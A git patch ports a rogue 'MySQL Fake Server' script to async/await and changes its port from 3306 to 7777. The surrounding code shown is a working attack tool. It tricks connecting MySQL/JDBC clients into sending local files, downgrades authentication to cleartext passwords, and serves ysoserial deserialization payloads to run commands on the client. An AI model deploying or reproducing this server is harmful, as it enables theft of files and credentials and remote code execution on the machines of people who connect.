From 4b1a51a8d2649d81f541718879855b12a2f38cd5 Mon Sep 17 00:00:00 2001 From: clown1ay <893489937@qq.com> Date: Thu, 14 Nov 2024 12:25:23 +0800 Subject: [PATCH] server_py3.8+.py --- server.py | 47 ++++++++++++++++++++++------------------------- 1 file changed, 22 insertions(+), 25 deletions(-) diff --git a/server.py b/server.py index ad16e2e..439b933 100644 --- a/server.py +++ b/server.py @@ -13,15 +13,13 @@ import time -@asyncio.coroutine -def accept_server(server_reader, server_writer): +async def accept_server(server_reader, server_writer): task = asyncio.Task(handle_server(server_reader, server_writer)) -@asyncio.coroutine -def process_fileread(server_reader, server_writer,filename): +async def process_fileread(server_reader, server_writer,filename): print("Start Reading File:"+filename.decode('utf8')) FileReadPacket(filename).write(server_writer) - yield from server_writer.drain() + await server_writer.drain() #server_writer.reset() #time.sleep(3) @@ -31,7 +29,7 @@ def process_fileread(server_reader, server_writer,filename): while not isFinish: packet = server_reader.packet() while True: - fileData = (yield from packet.read()) + fileData = (await packet.read()) #当前packet没有未读取完的数据 if fileData == '': break @@ -59,14 +57,13 @@ def process_fileread(server_reader, server_writer,filename): #server_writer.close() return -@asyncio.coroutine -def handle_server(server_reader, server_writer): +async def handle_server(server_reader, server_writer): handshake = HandshakeV10() handshake.write(server_writer) print("Incoming Connection:"+str(server_writer.get_extra_info('peername')[:2])) - yield from server_writer.drain() + await server_writer.drain() switch2clear=False - handshake_response = yield from HandshakeResponse41.read(server_reader.packet(), handshake.capability) + handshake_response = await HandshakeResponse41.read(server_reader.packet(), handshake.capability) username = handshake_response.user print("Login Username:"+username.decode("ascii")) #print("<=", handshake_response.__dict__) @@ -81,45 +78,45 @@ def handle_server(server_reader, server_writer): and switch2clear): print("Switch Auth Plugin to mysql_clear_password") AuthSwitchRequest().write(server_writer) - yield from server_writer.drain() - auth_response = yield from server_reader.packet().read() + await server_writer.drain() + auth_response = await server_reader.packet().read() print("<=", auth_response) result = OK(capability, handshake.status) result.write(server_writer) - yield from server_writer.drain() + await server_writer.drain() while True: server_writer.reset() packet = server_reader.packet() try: - cmd = (yield from packet.read(1))[0] + cmd = (await packet.read(1))[0] except Exception as _: #TODO:可能会出问题 ┓( ´∀` )┏ return pass print("<=", cmd) - query =(yield from packet.read()) + query =(await packet.read()) if query != '': query = query.decode('ascii') if username.startswith(b"fileread_"): - yield from process_fileread(server_reader, server_writer,username[len("fileread_"):]) + await process_fileread(server_reader, server_writer,username[len("fileread_"):]) result = OK(capability, handshake.status) #return elif username in fileread_dict: - #query =(yield from packet.read()) - yield from process_fileread(server_reader, server_writer,fileread_dict[username]) + #query =(await packet.read()) + await process_fileread(server_reader, server_writer,fileread_dict[username]) result = OK(capability, handshake.status) #return elif username not in yso_dict and not username.startswith(b"yso_"): - #query =(yield from packet.read()) - yield from process_fileread(server_reader, server_writer,random.choice(defaultFiles)) + #query =(await packet.read()) + await process_fileread(server_reader, server_writer,random.choice(defaultFiles)) result = OK(capability, handshake.status) elif cmd == 1: result =ERR(capability) #return elif cmd == 3: - #query = (yield from packet.read()).decode('ascii') + #query = (await packet.read()).decode('ascii') if 'SHOW VARIABLES'.lower() in query.lower(): print("Sending Fake MySQL Server Environment Data") ColumnDefinitionList((ColumnDefinition('d'),ColumnDefinition('e'))).write(server_writer) @@ -138,7 +135,7 @@ def handle_server(server_reader, server_writer): ResultSet(("11",yso_dict[username],"2333")).write(server_writer) result = EOF(capability, handshake.status) elif username.startswith(b"yso_"): - query =(yield from packet.read()) + query =(await packet.read()) _,yso_type,yso_command = username.decode('ascii').split("_") print("Sending YSO data with params:%s,%s" % (yso_type,yso_command)) content = get_yso_content(yso_type,yso_command) @@ -158,7 +155,7 @@ def handle_server(server_reader, server_writer): result = ERR(capability) result.write(server_writer) - yield from server_writer.drain() + await server_writer.drain() yso_dict={ @@ -219,13 +216,13 @@ def addYsoPaylod(username,yso_type,command): addYsoPaylod(k.encode('ascii'),v[0],v[1]) #print(yso_dict) loop = asyncio.get_event_loop() - f = start_mysql_server(handle_server, host=None, port=3306) + f = start_mysql_server(handle_server, host=None, port=7777) print("===========================================") print("MySQL Fake Server") print("Author:fnmsd(https://blog.csdn.net/fnmsd)") print("Load %d Fileread usernames :%s" % (len(fileread_dict),list(fileread_dict.keys()))) print("Load %d yso usernames :%s" % (len(yso_dict),list(yso_dict.keys()))) print("Load %d Default Files :%s" % (len(defaultFiles),defaultFiles)) - print("Start Server at port 3306") + print("Start Server at port 7777") loop.run_until_complete(f) loop.run_forever()